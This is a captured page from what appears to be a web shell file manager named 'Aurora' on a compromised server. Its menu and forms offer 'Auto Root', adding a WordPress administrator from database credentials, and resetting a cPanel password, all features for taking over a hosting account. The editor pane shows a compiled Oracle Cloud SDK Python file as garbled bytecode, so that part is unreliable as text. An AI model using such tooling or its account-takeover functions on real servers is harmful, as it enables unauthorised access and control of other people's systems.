Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
opsi
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: host_configuration_metric_group.cpython-39.opt-1.pyc
a ���f� � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdZdZdZdZ dZ d Zd Zdd� Z ed d� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zdd� Zdd� Zdd� ZdS )�HostConfigurationMetricGroupz: Base Metric Group for Host configuration metrics �HOST_PRODUCT�HOST_RESOURCE_ALLOCATION�HOST_MEMORY_CONFIGURATION�HOST_HARDWARE_CONFIGURATION�HOST_CPU_HARDWARE_CONFIGURATION�HOST_NETWORK_CONFIGURATION�HOST_ENTITES�HOST_FILESYSTEM_CONFIGURATION�HOST_GPU_CONFIGURATIONc K s( ddd�| _ ddd�| _d| _d| _dS )a Initializes a new HostConfigurationMetricGroup object with values from keyword arguments. This class has the following subclasses and if you are using this class as input to a service operations then you should favor using a subclass over the base class: * :class:`~oci.opsi.models.HostResourceAllocation` * :class:`~oci.opsi.models.HostProduct` * :class:`~oci.opsi.models.HostFilesystemConfiguration` * :class:`~oci.opsi.models.HostNetworkConfiguration` * :class:`~oci.opsi.models.HostEntities` * :class:`~oci.opsi.models.HostMemoryConfiguration` * :class:`~oci.opsi.models.HostCpuHardwareConfiguration` * :class:`~oci.opsi.models.HostGpuConfiguration` * :class:`~oci.opsi.models.HostHardwareConfiguration` The following keyword arguments are supported (corresponding to the getters/setters of this class): :param metric_name: The value to assign to the metric_name property of this HostConfigurationMetricGroup. Allowed values for this property are: "HOST_PRODUCT", "HOST_RESOURCE_ALLOCATION", "HOST_MEMORY_CONFIGURATION", "HOST_HARDWARE_CONFIGURATION", "HOST_CPU_HARDWARE_CONFIGURATION", "HOST_NETWORK_CONFIGURATION", "HOST_ENTITES", "HOST_FILESYSTEM_CONFIGURATION", "HOST_GPU_CONFIGURATION" :type metric_name: str :param time_collected: The value to assign to the time_collected property of this HostConfigurationMetricGroup. :type time_collected: datetime �strZdatetime)�metric_name�time_collected� metricNameZ timeCollectedN)Z swagger_typesZ attribute_map�_metric_name�_time_collected)�self�kwargs� r �S/usr/lib/python3.9/site-packages/oci/opsi/models/host_configuration_metric_group.py�__init__6 s ��z%HostConfigurationMetricGroup.__init__c C s| | d }|dkrdS |dkr dS |dkr,dS |dkr8d S |d krDdS |dkrPd S |dkr\dS |dkrhdS |dkrtdS dS dS )z� Given the hash representation of a subtype of this class, use the info in the hash to return the class of the subtype. r r ZHostResourceAllocationr ZHostProductr ZHostFilesystemConfigurationr ZHostNetworkConfigurationZ HOST_ENTITIESZHostEntitiesr ZHostMemoryConfigurationr ZHostCpuHardwareConfigurationr ZHostGpuConfigurationr ZHostHardwareConfigurationr Nr )Zobject_dictionary�typer r r �get_subtype^ s( z(HostConfigurationMetricGroup.get_subtypec C s | j S )a� **[Required]** Gets the metric_name of this HostConfigurationMetricGroup. Name of the metric group Allowed values for this property are: "HOST_PRODUCT", "HOST_RESOURCE_ALLOCATION", "HOST_MEMORY_CONFIGURATION", "HOST_HARDWARE_CONFIGURATION", "HOST_CPU_HARDWARE_CONFIGURATION", "HOST_NETWORK_CONFIGURATION", "HOST_ENTITES", "HOST_FILESYSTEM_CONFIGURATION", "HOST_GPU_CONFIGURATION" :return: The metric_name of this HostConfigurationMetricGroup. :rtype: str )r �r r r r r � s z(HostConfigurationMetricGroup.metric_namec C s* g d�}t ||�s td|� ���|| _dS )z� Sets the metric_name of this HostConfigurationMetricGroup. Name of the metric group :param metric_name: The metric_name of this HostConfigurationMetricGroup. :type: str ) r r r r r r r r r z8Invalid value for `metric_name`, must be None or one of N)r � ValueErrorr )r r Zallowed_valuesr r r r � s �c C s | j S )a **[Required]** Gets the time_collected of this HostConfigurationMetricGroup. Collection timestamp Example: `"2020-05-06T00:00:00.000Z"` :return: The time_collected of this HostConfigurationMetricGroup. :rtype: datetime �r r r r r r � s z+HostConfigurationMetricGroup.time_collectedc C s || _ dS )a Sets the time_collected of this HostConfigurationMetricGroup. Collection timestamp Example: `"2020-05-06T00:00:00.000Z"` :param time_collected: The time_collected of this HostConfigurationMetricGroup. :type: datetime Nr )r r r r r r � s c C s t | �S �N)r r r r r �__repr__� s z%HostConfigurationMetricGroup.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__� s z#HostConfigurationMetricGroup.__eq__c C s | |k S r r r# r r r �__ne__� s z#HostConfigurationMetricGroup.__ne__N)�__name__� __module__�__qualname__�__doc__ZMETRIC_NAME_HOST_PRODUCTZ$METRIC_NAME_HOST_RESOURCE_ALLOCATIONZ%METRIC_NAME_HOST_MEMORY_CONFIGURATIONZ'METRIC_NAME_HOST_HARDWARE_CONFIGURATIONZ+METRIC_NAME_HOST_CPU_HARDWARE_CONFIGURATIONZ&METRIC_NAME_HOST_NETWORK_CONFIGURATIONZMETRIC_NAME_HOST_ENTITESZ)METRIC_NAME_HOST_FILESYSTEM_CONFIGURATIONZ"METRIC_NAME_HOST_GPU_CONFIGURATIONr �staticmethodr �propertyr �setterr r! r% r&